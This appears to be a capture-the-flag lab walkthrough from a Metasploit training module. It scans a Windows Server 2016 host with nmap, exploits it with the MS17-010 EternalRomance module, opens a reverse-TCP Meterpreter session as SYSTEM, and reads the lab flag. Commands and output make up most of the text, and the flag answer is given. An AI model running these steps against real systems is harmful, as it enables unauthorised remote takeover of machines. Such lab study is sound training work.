USING THE METASPLOIT FRAMEWORK
INTRODUCTION TO METASPLOIT
MODULES
Use the Metasploit-Framework to exploit the target with EternalRomance. Find the flag.txt file on Administrator's desktop and submit the contents as the answer.
root@htb:~$ sudo nmap -sS -sV -T4 10.129.127.100 -p- -oA targetServices
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
root@htb:~$ sudo nmap -sV -sC -T4 10.129.127.100 -p 80,135,139,445,5985,47001,49664-49670 -oA targetServiceDefaultScripts
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: 10.129.127.100 - /
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h40m01s, deviation: 4h37m10s, median: 0s
| smb2-time:
| date: 2025-12-08T15:39:42
|_ start_date: 2025-12-08T15:29:23
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: MSF1-WIN01
| NetBIOS computer name: MSF1-WIN01\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-12-08T07:39:46-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
root@htb:~$ msfconsole
msf6> search eternalromance
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1 \_ target: Automatic . . . .
2 \_ target: PowerShell . . . .
3 \_ target: Native upload . . . .
4 \_ target: MOF upload . . . .
5 \_ AKA: ETERNALSYNERGY . . . .
6 \_ AKA: ETERNALROMANCE . . . .
7 \_ AKA: ETERNALCHAMPION . . . .
8 \_ AKA: ETERNALBLUE . . . .
msf6> use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6> show options
...
msf6> set RHOSTS 10.129.127.100
RHOSTS => 10.129.127.100
msf6> set LHOST 10.10.15.99
LHOST => 10.10.15.99
msf6> exploit
[*] Started reverse TCP handler on 10.10.15.99:4444
[*] 10.129.127.100:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.127.100:445 - Built a write-what-where primitive...
[+] 10.129.127.100:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.127.100:445 - Selecting PowerShell target
[*] 10.129.127.100:445 - Executing the payload...
[+] 10.129.127.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 10.129.127.100
[*] Meterpreter session 1 opened (10.10.15.99:4444 -> 10.129.127.100:49671) at 2025-12-08 09:57:26 -0600
(Meterpreter 1)(C:\Windows\system32) > shell
Process 804 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> findstr /i /s "flag.txt" c:\*
C:\Users\Administrator\Desktop\flag.txt��([�����V�Ӕ�E�f������
* /i - Case-insensitive search.
* /s - Searches the specified directory and all of its subdirectories.
C:\Windows\system32> type c:\Users\Administrator\Desktop\flag.txt
HTB{MSF-W1nD0w5-3xPL01t4t10n}
Last updated